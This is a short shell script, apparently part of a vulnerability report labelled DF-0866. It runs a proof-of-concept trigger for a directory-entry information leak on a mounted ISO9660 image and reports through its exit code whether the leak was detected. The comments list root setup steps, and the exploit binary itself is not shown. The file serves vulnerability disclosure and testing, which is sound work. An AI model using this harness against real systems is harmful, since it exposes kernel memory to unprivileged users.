DF-0866 / run.sh
#!/bin/sh # run.sh for DF-0866 trigger PoC. # # Prerequisites (set up once as root): # mkisofs -V DF0866 -J -r -o /root/df0866.iso /tmp/isosrc # src dir w/ files # vnconfig -c -T vn0 /root/df0866.iso # mkdir -p /mnt/iso && mount_cd9660 -o ro /dev/vn0 /mnt/iso # chmod 755 /mnt # so unprivileged user can descend # # Run as the unprivileged user (maxx) to exercise the leak. set -e cd "$(dirname "$0")" DIR="${1:-/mnt/iso}" echo "+ ./leak_dirent $DIR" ./leak_dirent "$DIR" rc=$? echo "LEAK_DETECTED_RC=$rc" # 1 = leak seen, 0 = no leak exit $rc |